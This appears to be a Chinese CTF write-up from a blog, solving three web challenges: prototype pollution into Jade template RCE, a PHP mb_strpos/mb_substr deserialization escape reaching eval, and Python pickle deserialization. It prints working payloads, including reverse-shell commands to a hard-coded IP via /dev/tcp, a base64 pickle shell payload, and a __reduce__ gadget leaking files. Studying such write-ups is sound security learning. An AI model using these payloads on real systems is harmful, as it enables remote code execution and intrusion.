2024黄河流域
ezjade
代码很简单,主要是找到污染点在哪里,也就是可控参数在哪
app.post('/post',function (req, res) {
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var malicious_payload = JSON.stringify(req.body);
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
merge(a, JSON.parse(malicious_payload));
console.log(a.name);
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});
}
可以看到访问post路由时,会将a.name渲染进index.jade,时如果写入恶意代码,访问/post路由的时候会进行模版渲染此时将注入的代码被执行,导致RCE
跟进render函数,步入
一直跟到compile
跟进visitcode函数
visitCode: function(code){
// Wrap code blocks with {}.
// we only wrap unbuffered code blocks ATM
// since they are usually flow control
// Buffer code
if (code.buffer) {
var val = code.val.trim();
val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
if (code.escape) val = 'jade.escape(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}
这里让code.buffer为false,就可以直接把code.val的值压入buf
但是报错plugin is not a function
加上"self":1
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('calc')"}}
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"')"}}
tao
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data) {
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A {
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A) {
$this->A = $A;
}
public function __destruct() {
$key = substrstr($this->B . "[welcome sdpcsec" . $this->C . "]");
echo $key;
eval($key);
}
}
if (isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
} else {
echo "nonono";
}
?>
mb_strpos与mb_substr
- %9f使得增加逃逸出一个字符(mb_strpos特性)
- %f0使得减少逃逸出三个字符(mb_substr特性)
具体测试代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
echo $start.'<br>';
$end = mb_strpos($data, "]");
echo $end;
return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;
先来看正常传参
可以看到是正常的把[]内的所有内容都截取到了
- %9f使逃逸出一个字符(mb_strpos特性)
可以看到mb_strpos竟然将%9f这个不可见字符也算进去了,而且还提前结束了一位
但是mb_substr是正常进行截取的,所以导致增加一个字符
我们利用%9f就可以使得[]里的16个字符全部逃逸,然后就可以任意构造我们想要的字符了(长度也得是16)
-
%f0使逃逸出三个字符(mb_substr特性)
\xf0开头的UTF-8字符应该是4位长度,并符合UTF-8的规则
可以看到mb_strpos正常识别不可见字符%f0,但是mb_substr将传进去的%f0abc四个字符当成了一个字符
所以我们把[welcome给吃掉的话需要8位,也就%f0abc%f0abc%f0%9fab
这里%f0abc将4字符当成1字符导致逃逸出3字符,%f0%9fab由于%9f是符合规则的所以这是把四个字符当成了两个字符导致逃逸出2字符
法一:纯%9f
";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
87个,补上87个SDPCSEC
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
法二:%9f结合%f0
pickle
pickle反序列化
用i指令反弹shell
import base64
import pickle
import pickletools
a = "gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="
data=base64.b64decode(a)
print(pickletools.dis(data))
#\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.
b=b'''(S'bash -c "bash -i >& /dev/tcp/8.130.110.182/2333 0>&1"'
ios
system
.'''
print(base64.b64encode(b))
#KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMTAuMTgyLzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg==
新学到的,也可以报错带出
pickle反序列化,开启debug,用报错
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
标签:9f%,code,val,字符,mb,黄河流域,2024,key,WP From: https://www.cnblogs.com/m1xian/p/18365491